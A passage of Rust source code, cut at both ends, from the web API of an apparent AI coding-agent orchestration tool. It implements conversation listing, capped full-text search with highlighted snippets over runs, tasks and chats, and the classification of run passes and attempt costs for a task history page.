5407        .unwrap_or_else(PoisonError::into_inner);
5408    // Bound memory independently of the number of conversations ever opened.
5409    if index.len() > 1000 {
5410        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5411        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5412        if index.len() > 1000 {
5413            index.retain(|id, _| keep.contains(id.as_str()));
5414        }
5415    }
5416    ids.into_iter()
5417        .filter_map(|id| {
5418            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5419            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5420                let talk = ui.talks.get(&id).ok()?;
5421                #[cfg(test)]
5422                ui.monitor
5423                    .talk_parses
5424                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5425                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5426                let last = talk.turns.len().checked_sub(1);
5427                let turns = talk
5428                    .turns
5429                    .iter()
5430                    .enumerate()
5431                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5432                    .map(|(_, t)| TalkListTurn {
5433                        who: t.who,
5434                        at: t.at,
5435                        body: t
5436                            .body
5437                            .lines()
5438                            .next()
5439                            .unwrap_or_default()
5440                            .chars()
5441                            .take(240)
5442                            .collect(),
5443                    })
5444                    .collect();
5445                let row = TalkListView {
5446                    title: talk.title.clone(),
5447                    agent_times: talk
5448                        .turns
5449                        .iter()
5450                        .filter(|t| t.who == talk::Who::Agent)
5451                        .map(|t| t.at)
5452                        .collect(),
5453                    turn_count: talk.turns.len(),
5454                    unread_count: 0,
5455                    context: talk::context_usage(&talk, None),
5456                    turns,
5457                    thinking: false,
5458                    id: talk.id,
5459                    repo: talk.repo,
5460                    agent: talk.agent,
5461                    status: talk.status,
5462                    created_at: talk.created_at,
5463                    updated_at: talk.updated_at,
5464                };
5465                index.insert(id.clone(), (identity, row));
5466            }
5467            let row = &index.get(&id)?.1;
5468            let mut row = TalkListView {
5469                title: row.title.clone(),
5470                unread_count: row
5471                    .agent_times
5472                    .iter()
5473                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5474                    .count(),
5475                agent_times: Vec::new(),
5476                id: row.id.clone(),
5477                repo: row.repo.clone(),
5478                agent: row.agent.clone(),
5479                status: row.status,
5480                context: row.context.clone(),
5481                turns: row.turns.clone(),
5482                turn_count: row.turn_count,
5483                thinking: false,
5484                created_at: row.created_at,
5485                updated_at: row.updated_at,
5486            };
5487            row.thinking = ui.is_thinking(&id);
5488            Some(row)
5489        })
5490        .collect()
5491}
5492
5493async fn talks_page(
5494    State(ui): State<Arc<Ui>>,
5495    Query(q): Query<PageQuery>,
5496    headers: header::HeaderMap,
5497) -> ApiResult<Json<StorePage<TalkListView>>> {
5498    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5499        let (ids, next) = page_ids(&ui, true, q)?;
5500        Ok(Json(StorePage {
5501            rows: talk_rows(&ui, ids, &headers),
5502            next,
5503        }))
5504    })
5505    .await
5506}
5507
5508async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5509    blocking(move || {
5510        let tasks = ui.indexed_tasks()?;
5511        Ok(Json(TaskCountsView::from(
5512            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5513        )))
5514    })
5515    .await
5516}
5517
5518/// Most hits one search returns. The rest are counted in `total`.
5519const SEARCH_MAX_HITS: usize = 100;
5520/// Longest query, in characters, and most terms it is split into.
5521const SEARCH_MAX_QUERY: usize = 200;
5522const SEARCH_MAX_TERMS: usize = 8;
5523/// Characters of context kept before the first hit, and after it.
5524const SNIPPET_BEFORE: usize = 50;
5525const SNIPPET_AFTER: usize = 110;
5526
5527/// `?scope=runs|tasks&q=...`
5528#[derive(Debug, Deserialize)]
5529struct SearchQuery {
5530    #[serde(default)]
5531    scope: String,
5532    #[serde(default)]
5533    q: String,
5534}
5535
5536/// One piece of a snippet. `hit` pieces are what matched; the client renders
5537/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5538#[derive(Debug, Serialize, PartialEq, Eq)]
5539struct SnippetPart {
5540    text: String,
5541    hit: bool,
5542}
5543
5544#[derive(Debug, Serialize)]
5545struct SearchHit {
5546    id: String,
5547    /// The name of the field the snippet was cut from.
5548    field: String,
5549    snippet: Vec<SnippetPart>,
5550    /// The run's list row, so the page can apply its state / section / repo
5551    /// filters to a hit outside the loaded window. Absent for tasks and for a
5552    /// run record the list view cannot read.
5553    #[serde(skip_serializing_if = "Option::is_none")]
5554    run: Option<RunSummary>,
5555}
5556
5557#[derive(Debug, Serialize)]
5558struct SearchView {
5559    scope: String,
5560    q: String,
5561    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5562    hits: Vec<SearchHit>,
5563    /// Every match, hits beyond the cap included.
5564    total: usize,
5565    truncated: bool,
5566    /// Runs whose `run.json` could not be parsed at all. They were not
5567    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5568    unreadable: usize,
5569}
5570
5571/// The text leaves of a JSON document, with the name of the field each sits
5572/// under. Keys and numbers are skipped: they are structure, not prose.
5573fn text_leaves<'a>(
5574    value: &'a serde_json::Value,
5575    field: &'a str,
5576    out: &mut Vec<(&'a str, &'a str)>,
5577) {
5578    match value {
5579        serde_json::Value::String(s) => out.push((field, s)),
5580        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5581        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5582        _ => {}
5583    }
5584}
5585
5586/// Lower-case one character without changing how many there are, so indices
5587/// in the lowered text are indices in the original.
5588fn fold_char(c: char) -> char {
5589    c.to_lowercase().next().unwrap_or(c)
5590}
5591
5592/// Split a query into its lower-cased terms.
5593fn search_terms(q: &str) -> Vec<String> {
5594    let mut terms: Vec<String> = Vec::new();
5595    for t in q.split_whitespace() {
5596        let t = t.to_lowercase();
5597        if !terms.contains(&t) {
5598            terms.push(t);
5599        }
5600    }
5601    terms
5602}
5603
5604/// Match `terms` (all of them, anywhere in the document) against the leaves
5605/// and cut a snippet around the first hit. `None` when a term is missing.
5606fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5607    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5608    let mut first: Option<usize> = None;
5609    for term in terms {
5610        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5611        first = Some(first.map_or(at, |f| f.min(at)));
5612    }
5613    // The leaf holding the earliest hit of any term is where the snippet is cut.
5614    let (field, text) = leaves[first?];
5615    Some(SearchHit {
5616        id: String::new(),
5617        field: field.to_owned(),
5618        snippet: snippet_of(text, terms),
5619        run: None,
5620    })
5621}
5622
5623/// A window of `text` around the first occurrence of any term, whitespace
5624/// collapsed, with every term occurrence inside the window marked.
5625fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5626    let chars: Vec<char> = text.chars().collect();
5627    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5628    let needles: Vec<Vec<char>> = terms
5629        .iter()
5630        .map(|t| t.chars().map(fold_char).collect())
5631        .collect();
5632    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5633        let mut best: Option<(usize, usize)> = None;
5634        for n in needles.iter().filter(|n| !n.is_empty()) {
5635            // `to` bounds where a match may start; it may run past `to` (the
5636            // caller clips what it shows). A term longer than the field cannot
5637            // occur in it (it may live in another leaf of the document).
5638            if n.len() > chars.len() || to == 0 {
5639                continue;
5640            }
5641            let last = (to - 1).min(chars.len() - n.len());
5642            if from > last {
5643                continue;
5644            }
5645            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5646                && best.is_none_or(|(b, _)| i < b)
5647            {
5648                best = Some((i, i + n.len()));
5649            }
5650        }
5651        best
5652    };
5653    let Some((start, _)) = find(0, chars.len()) else {
5654        // Matched only through a case mapping that changes length: show the head.
5655        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5656        return vec![SnippetPart {
5657            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5658            hit: false,
5659        }];
5660    };
5661    let lo = start.saturating_sub(SNIPPET_BEFORE);
5662    let hi = (start + SNIPPET_AFTER).min(chars.len());
5663    let mut parts: Vec<SnippetPart> = Vec::new();
5664    let mut push = |s: &[char], hit: bool| {
5665        if s.is_empty() {
5666            return;
5667        }
5668        let text: String = s.iter().collect();
5669        match parts.last_mut() {
5670            Some(p) if p.hit == hit => p.text.push_str(&text),
5671            _ => parts.push(SnippetPart { text, hit }),
5672        }
5673    };
5674    if lo > 0 {
5675        push(&['\u{2026}'], false);
5676    }
5677    let mut at = lo;
5678    while at < hi {
5679        match find(at, hi) {
5680            Some((s, e)) => {
5681                push(&chars[at..s], false);
5682                // A match running past the window is shown up to its edge.
5683                let shown = e.min(hi);
5684                push(&chars[s..shown], true);
5685                at = shown;
5686            }
5687            None => {
5688                push(&chars[at..hi], false);
5689                at = hi;
5690            }
5691        }
5692    }
5693    if hi < chars.len() {
5694        push(&['\u{2026}'], false);
5695    }
5696    // Collapse whitespace (newlines in an instruction) without disturbing the
5697    // hit boundaries.
5698    let mut prev_space = false;
5699    for p in &mut parts {
5700        let mut out = String::with_capacity(p.text.len());
5701        for c in p.text.chars() {
5702            if c.is_whitespace() {
5703                if !prev_space {
5704                    out.push(' ');
5705                }
5706                prev_space = true;
5707            } else {
5708                out.push(c);
5709                prev_space = false;
5710            }
5711        }
5712        p.text = out;
5713    }
5714    parts.retain(|p| !p.text.is_empty());
5715    parts
5716}
5717
5718/// The search over `docs` (id, document), newest first, capped.
5719fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5720where
5721    I: IntoIterator<Item = (String, serde_json::Value)>,
5722{
5723    for (id, doc) in docs {
5724        let mut leaves = Vec::new();
5725        // The id is text an operator types too, and it is a map key on disk,
5726        // not a leaf.
5727        leaves.push(("id", id.as_str()));
5728        text_leaves(&doc, "", &mut leaves);
5729        if let Some(mut hit) = search_document(terms, &leaves) {
5730            view.total += 1;
5731            if view.hits.len() < SEARCH_MAX_HITS {
5732                hit.id = id;
5733                view.hits.push(hit);
5734            }
5735        }
5736    }
5737    view.truncated = view.total > view.hits.len();
5738}
5739
5740/// What a conversation is searched by: its list title and each turn's text,
5741/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5742/// (session ids, repo paths, usage, drafts) is part of the document.
5743///
5744/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5745fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5746    let opener = talk
5747        .title
5748        .as_ref()
5749        .filter(|t| !t.text.is_empty())
5750        .map(|t| t.text.as_str())
5751        .or_else(|| {
5752            talk.turns
5753                .iter()
5754                .find(|t| t.who == talk::Who::Operator)
5755                .map(|t| t.body.as_str())
5756        })
5757        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5758        .unwrap_or("");
5759    let title: String = if opener.chars().count() > 96 {
5760        opener.chars().take(95).chain(['\u{2026}']).collect()
5761    } else {
5762        opener.to_owned()
5763    };
5764    let turns: Vec<serde_json::Value> = talk
5765        .turns
5766        .iter()
5767        .map(|t| {
5768            let who = match t.who {
5769                crate::talk::Who::Operator => "operator",
5770                crate::talk::Who::Agent => "agent",
5771            };
5772            serde_json::json!({ who: t.body })
5773        })
5774        .collect();
5775    serde_json::json!({ "title": title, "turns": turns })
5776}
5777
5778/// Read-only full-text search over every run's `run.json`, every task or every
5779/// conversation (title and transcript).
5780///
5781/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5782/// record from an older schema still searches; only a file that is not JSON
5783/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5784async fn search_get(
5785    State(ui): State<Arc<Ui>>,
5786    Query(q): Query<SearchQuery>,
5787) -> ApiResult<Json<SearchView>> {
5788    let query = q.q.trim().to_owned();
5789    if query.is_empty() {
5790        return Err(ApiError::bad_request("q must not be empty"));
5791    }
5792    if query.chars().count() > SEARCH_MAX_QUERY {
5793        return Err(ApiError::bad_request(format!(
5794            "q is longer than {SEARCH_MAX_QUERY} characters"
5795        )));
5796    }
5797    let terms = search_terms(&query);
5798    if terms.len() > SEARCH_MAX_TERMS {
5799        return Err(ApiError::bad_request(format!(
5800            "q has more than {SEARCH_MAX_TERMS} terms"
5801        )));
5802    }
5803    let scope = q.scope;
5804    if scope != "runs" && scope != "tasks" && scope != "chats" {
5805        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5806    }
5807    blocking(move || {
5808        let mut view = SearchView {
5809            scope: scope.clone(),
5810            q: query,
5811            hits: Vec::new(),
5812            total: 0,
5813            truncated: false,
5814            unreadable: 0,
5815        };
5816        if scope == "runs" {
5817            let mut unreadable = 0;
5818            // One run.json is read, matched and dropped at a time; nothing
5819            // holds the whole history. The scan runs to the end even past the
5820            // hit cap so `total` and `unreadable` stay exact.
5821            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5822                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5823                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5824                    Some(v) => Some((id, v)),
5825                    None => {
5826                        unreadable += 1;
5827                        None
5828                    }
5829                }
5830            });
5831            search_docs(&terms, docs, &mut view);
5832            view.unreadable = unreadable;
5833            // Only the capped hits get a row: the filters need a run's state,
5834            // and reading every match would be the whole history again.
5835            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5836            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5837            for hit in &mut view.hits {
5838                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5839                    hit.run = summarize(
5840                        [state],
5841                        &open_runs,
5842                        &claimed,
5843                        &superseded,
5844                        |p| probe.borrow_mut().status(p),
5845                        |p| probe.borrow_mut().started_at(p),
5846                    )
5847                    .pop();
5848                }
5849            }
5850        } else if scope == "chats" {
5851            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5852            view.unreadable = unreadable;
5853            search_docs(
5854                &terms,
5855                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5856                &mut view,
5857            );
5858        } else {
5859            let docs = ui.queue.list().into_iter().filter_map(|t| {
5860                let mut v = serde_json::to_value(&t).ok()?;
5861                // `source` serialises as a tagged object; the label is what
5862                // the operator reads ("human", "chat@a1b2").
5863                if let Some(o) = v.as_object_mut() {
5864                    o.insert("filed_by".to_owned(), t.source.label().into());
5865                }
5866                Some((t.id, v))
5867            });
5868            search_docs(&terms, docs, &mut view);
5869        }
5870        Ok(Json(view))
5871    })
5872    .await
5873}
5874
5875/// One attempt in a task's history, as the task page lists it.
5876#[derive(Debug, Serialize)]
5877struct TaskRunView {
5878    activity: Option<String>,
5879    /// 1-based position in [`Task::runs`].
5880    n: usize,
5881    id: String,
5882    short: String,
5883    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5884    kind: &'static str,
5885    /// The run's own status string; `None` when its record cannot be read.
5886    status: Option<&'static str>,
5887    /// Whether this build could read the run's record. Counted, never hidden.
5888    readable: bool,
5889    /// A verdict from a collapsed panel is provisional, never a decision.
5890    provisional: bool,
5891    /// What kind of attempt this was, in one line.
5892    description: String,
5893    /// How it ended and why the task moved on (or what it is doing now).
5894    outcome: String,
5895    created_at: Option<Timestamp>,
5896    pr: Option<String>,
5897    /// Why this pass ended, classified once; the flowchart is built from it.
5898    exit: RunExit,
5899    /// What the pass did to the task's attempt budget.
5900    attempt: AttemptCost,
5901    /// Edge wording for leaving this entry; names the recorded cause when
5902    /// there is one.
5903    exit_label: String,
5904    /// The position of a later entry for the same run: this entry is an
5905    /// earlier pass of it.
5906    later_pass: Option<usize>,
5907    /// Which pass over the run this entry is (1-based) and how many entries
5908    /// the task lists for the run. Counted from the list, so known even for
5909    /// a legacy record.
5910    pass_n: usize,
5911    passes_of_run: usize,
5912    /// What the run recorded about this pass; `None` for a record from before
5913    /// passes were kept, whose cause stays unknown.
5914    pass: Option<PassView>,
5915    /// The branch a review-only run reopened.
5916    branch: Option<String>,
5917    /// The badge word when it differs from `status` (`stale` / `superseded`);
5918    /// filled by the task route, which can see liveness and later attempts.
5919    badge: Option<String>,
5920}
5921
5922/// One recorded pass over a run, for the wire.
5923#[derive(Debug, Clone, PartialEq, Serialize)]
5924struct PassView {
5925    index: usize,
5926    resumed: bool,
5927    started_at: Timestamp,
5928    ended_at: Option<Timestamp>,
5929    /// `open`, `parked` or `unrecorded`.
5930    end: &'static str,
5931    cause: Option<crate::run::ParkCause>,
5932    /// One line: why it stopped, or that nobody recorded why.
5933    label: String,
5934    /// What the task recorded for this pass; `None` when it was not settled
5935    /// (or settled by a build that kept no record).
5936    cost: Option<crate::queue::PassCost>,
5937}
5938
5939impl PassView {
5940    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5941        use crate::run::PassEnd;
5942        let (end, cause, label) = match &p.end {
5943            None => ("open", None, "still open".to_owned()),
5944            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5945            Some(PassEnd::Unrecorded) => (
5946                "unrecorded",
5947                None,
5948                "stopped without recording why (a crash, a kill or a restart; not known)"
5949                    .to_owned(),
5950            ),
5951        };
5952        Self {
5953            index: p.index,
5954            resumed: p.resumed,
5955            started_at: p.started_at,
5956            ended_at: p.ended_at,
5957            end,
5958            cause,
5959            label,
5960            cost: settled.map(|t| t.cost),
5961        }
5962    }
5963}
5964
5965/// How one pass over a run ended, as far as the task's life is concerned.
5966#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5967#[serde(rename_all = "snake_case")]
5968enum RunExit {
5969    Unreadable,
5970    /// An earlier pass of a run id that appears again: it stopped short.
5971    Interrupted,
5972    Parked,
5973    MachineBlocked,
5974    QuotaStall,
5975    /// Stalled on a resumed pass with quota losses on record: they may be
5976    /// left over from an earlier pass, so whether this one was refunded is
5977    /// not knowable.
5978    ResumedQuotaStall,
5979    Merged,
5980    Ready,
5981    Superseded,
5982    /// The change was already on the base under other commits: the task
5983    /// finished without this run landing anything.
5984    AlreadyInBase,
5985    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5986    Stalled,
5987    /// Blocked / no-op with a pull request left open: held for a person.
5988    HeldWithPr,
5989    NoopHeld,
5990    /// Blocked or failed: the attempt is spent and the task retries or holds.
5991    Spent,
5992    InProgress,
5993}
5994
5995#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5996#[serde(rename_all = "snake_case")]
5997enum AttemptCost {
5998    Spent,
5999    Refunded,
6000    None,
6001    /// Cannot be told from the records that remain.
6002    Unknown,
6003}
6004
6005impl RunExit {
6006    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6007        let Some(s) = s else {
6008            return Self::Unreadable;
6009        };
6010        let status = s.status;
6011        if resumed_later {
6012            Self::Interrupted
6013        } else if s.parked {
6014            Self::Parked
6015        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6016            Self::MachineBlocked
6017        } else if !status.done() {
6018            Self::InProgress
6019        } else if matches!(status, RunStatus::Merged) {
6020            Self::Merged
6021        } else if matches!(status, RunStatus::Ready) {
6022            Self::Ready
6023        } else if matches!(status, RunStatus::Superseded) {
6024            Self::Superseded
6025        } else if matches!(status, RunStatus::AlreadyInBase) {
6026            Self::AlreadyInBase
6027        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6028            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6029        {
6030            if resumed {
6031                Self::ResumedQuotaStall
6032            } else {
6033                Self::QuotaStall
6034            }
6035        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6036            Self::HeldWithPr
6037        } else if matches!(status, RunStatus::VerifiedNoop) {
6038            Self::NoopHeld
6039        } else if matches!(status, RunStatus::Stalled) {
6040            Self::Stalled
6041        } else {
6042            Self::Spent
6043        }
6044    }
6045
6046    fn cost(self) -> AttemptCost {
6047        match self {
6048            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6049            Self::Merged
6050            | Self::Ready
6051            | Self::Stalled
6052            | Self::HeldWithPr
6053            | Self::NoopHeld
6054            | Self::Spent => AttemptCost::Spent,
6055            Self::InProgress => AttemptCost::None,
6056            Self::AlreadyInBase => AttemptCost::Refunded,
6057            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6058                AttemptCost::Unknown
6059            }
6060        }
6061    }
6062
6063    /// Short edge wording for leaving a run this way.
6064    fn edge_label(self, status: Option<&str>) -> String {
6065        match self {
6066            Self::Unreadable => "record unreadable".to_owned(),
6067            Self::Interrupted => "interrupted before the run finished".to_owned(),
6068            Self::Parked => "parked, attempt refunded".to_owned(),
6069            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6070            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6071            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6072            Self::Merged => "merged".to_owned(),
6073            Self::Ready => "ready, not merged".to_owned(),
6074            Self::Superseded => "superseded by a later attempt".to_owned(),
6075            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6076            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6077            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6078            Self::NoopHeld => "verified no-op".to_owned(),
6079            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6080            Self::InProgress => "in progress".to_owned(),
6081        }
6082    }
6083
6084    /// Does a task in `end` follow from a run that ended this way? When not,
6085    /// somebody closed or held the task by hand.
6086    fn explains(self, end: TaskStatus) -> bool {
6087        match self {
6088            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6089            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6090            Self::Unreadable | Self::Superseded | Self::Ready => true,
6091            _ => end != TaskStatus::Done,
6092        }
6093    }
6094}
6095
6096/// `GET /api/queue/{id}` - one task with every attempt it went through.
6097#[derive(Debug, Serialize)]
6098struct TaskDetailView {
6099    #[serde(flatten)]
6100    task: TaskView,
6101    /// Task override, or the default daemon budget when inherited.
6102    /// A separate loop's command-line limit is not visible from here.
6103    max_attempts: usize,
6104    history: Vec<TaskRunView>,
6105    /// Entries in `history`: passes over runs, not distinct runs and not
6106    /// attempts consumed (`task.attempts`).
6107    passes_total: usize,
6108    /// Distinct runs those passes belong to.
6109    runs_distinct: usize,
6110    flow: FlowView,
6111    /// Set for a follow-up task; see [`followup_origin`].
6112    followup_origin: Option<FollowUpOrigin>,
6113    /// How many entries of `history` could not be read.
6114    runs_unreadable: usize,
6115    /// Why the attempt count can be lower than the number of runs.
6116    attempts_note: &'static str,
6117}
6118
6119const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6120and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6121on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6122the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6123
6124/// The branch a review-only run reopened, read off the instruction
6125/// `Runner::open_review` writes.
6126fn review_branch_of(instruction: &str) -> Option<&str> {
6127    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6128    rest.split('`').next().filter(|b| !b.is_empty())
6129}
6130
6131/// Where an entry sits in a task's run list.
6132#[derive(Default)]
6133struct RunSlot<'a> {
6134    /// 1-based position.
6135    n: usize,
6136    /// The same run id appeared earlier: this pass resumed it.
6137    resumed: bool,
6138    /// Position of a later pass over the same run id, if any.
6139    resumed_later: Option<usize>,
6140    /// The previous distinct run and how it ended, for the retry note.
6141    prior: Option<(&'a str, RunStatus)>,
6142    last: bool,
6143    /// This pass as the run recorded it, when it did.
6144    pass: Option<&'a crate::run::RunPass>,
6145    /// What the task recorded when it settled this pass.
6146    settled: Option<&'a crate::queue::TaskPass>,
6147    /// 1-based position among the task's entries for this run, and their count.
6148    pass_n: usize,
6149    passes_of_run: usize,
6150}
6151
6152/// Describe one entry of a task's run list. Pure: everything it needs is on
6153/// the run and the task, so it is asserted without a server.
6154fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6155    let RunSlot {
6156        n,
6157        resumed,
6158        resumed_later,
6159        prior,
6160        last,
6161        pass,
6162        settled,
6163        pass_n,
6164        passes_of_run,
6165    } = at;
6166    let short = run::short_of(id).to_owned();
6167    let Some(s) = state else {
6168        return TaskRunView {
6169            activity: None,
6170            n,
6171            id: id.to_owned(),
6172            short,
6173            kind: "unknown",
6174            status: None,
6175            readable: false,
6176            provisional: false,
6177            description:
6178                "This run's record could not be read by this build (written by a different \
6179                          magi, or removed), so what kind of attempt it was is unknown."
6180                    .to_owned(),
6181            outcome: String::new(),
6182            created_at: None,
6183            pr: None,
6184            exit: RunExit::Unreadable,
6185            attempt: AttemptCost::Unknown,
6186            exit_label: RunExit::Unreadable.edge_label(None),
6187            later_pass: resumed_later,
6188            pass_n,
6189            passes_of_run,
6190            pass: None,
6191            branch: None,
6192            badge: None,
6193        };
6194    };
6195    let branch = review_branch_of(&s.instruction);
6196    let kind = if resumed {
6197        "resume"
6198    } else if branch.is_some() {
6199        "review"
6200    } else if task.solo || s.candidates.len() == 1 {
6201        "solo"
6202    } else {
6203        "competition"
6204    };
6205    let mut description = match kind {
6206        "resume" => {
6207            format!("Resumed run {short}: the same run carried on instead of competing again.")
6208        }
6209        "review" => format!(
6210            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6211            branch.unwrap_or_default()
6212        ),
6213        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6214        _ => format!(
6215            "Competition: {} candidates judged blind.",
6216            s.candidates.len().max(1)
6217        ),
6218    };
6219    if !resumed && let Some((p, st)) = prior {
6220        description.push_str(&format!(
6221            " A retry: run {p} before it ended {}.",
6222            st.display_label()
6223        ));
6224    }
6225
6226    let status = s.status;
6227    let provisional = matches!(status, RunStatus::Stalled)
6228        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6229    let head = if resumed_later.is_some() {
6230        String::new()
6231    } else {
6232        match status {
6233            RunStatus::Merged => "Merged.".to_owned(),
6234            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6235            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6236            RunStatus::AlreadyInBase => {
6237                "Already in the base: this change landed under other commits, nothing was left to land."
6238                    .to_owned()
6239            }
6240            RunStatus::Stalled => {
6241                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6242                    .to_owned()
6243            }
6244            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6245            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6246            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6247            RunStatus::VerifiedNoop => {
6248                "Verified no-op: the candidates found nothing to change.".to_owned()
6249            }
6250            other if other.done() => format!("Ended {}.", other.display_label()),
6251            other => format!("In progress ({}).", other.display_label()),
6252        }
6253    };
6254    let view = pass.map(|p| PassView::of(p, settled));
6255    let recorded_end = view
6256        .as_ref()
6257        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6258    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6259        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6260        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6261        None => "whether its attempt was handed back was not recorded",
6262    };
6263    let pass_note = if passes_of_run > 1 {
6264        format!(
6265            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6266        )
6267    } else {
6268        String::new()
6269    };
6270    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6271        // The run recorded this pass's end when it happened.
6272        let cause = match v.end {
6273            "parked" => format!("It was stopped on purpose: {}.", v.label),
6274            _ => format!("It {}.", v.label),
6275        };
6276        format!(
6277            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6278            capitalise(cost_words)
6279        )
6280    } else if let Some(k) = resumed_later {
6281        // A run is only picked up again while it is unfinished, so an earlier
6282        // pass of a repeated id stopped short; the record keeps only the run's
6283        // latest status, which is left to the pass that carried it on.
6284        // Only the latest state is recorded: `parked` is cleared on resume
6285        // and `quota` accumulates across passes, so neither says why *this*
6286        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6287        let cause = if s.quota.is_empty() {
6288            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6289        } else {
6290            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6291        };
6292        format!(
6293            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6294        )
6295    } else if s.parked {
6296        match recorded_end.and_then(|v| v.cause.as_ref()) {
6297            Some(cause) => format!(
6298                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6299                cause.label(),
6300                cost_words
6301            ),
6302            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6303                .to_owned(),
6304        }
6305    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6306        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6307    } else if !status.done()
6308        || matches!(
6309            status,
6310            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6311        )
6312    {
6313        String::new()
6314    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6315        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6316    {
6317        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6318            .to_owned()
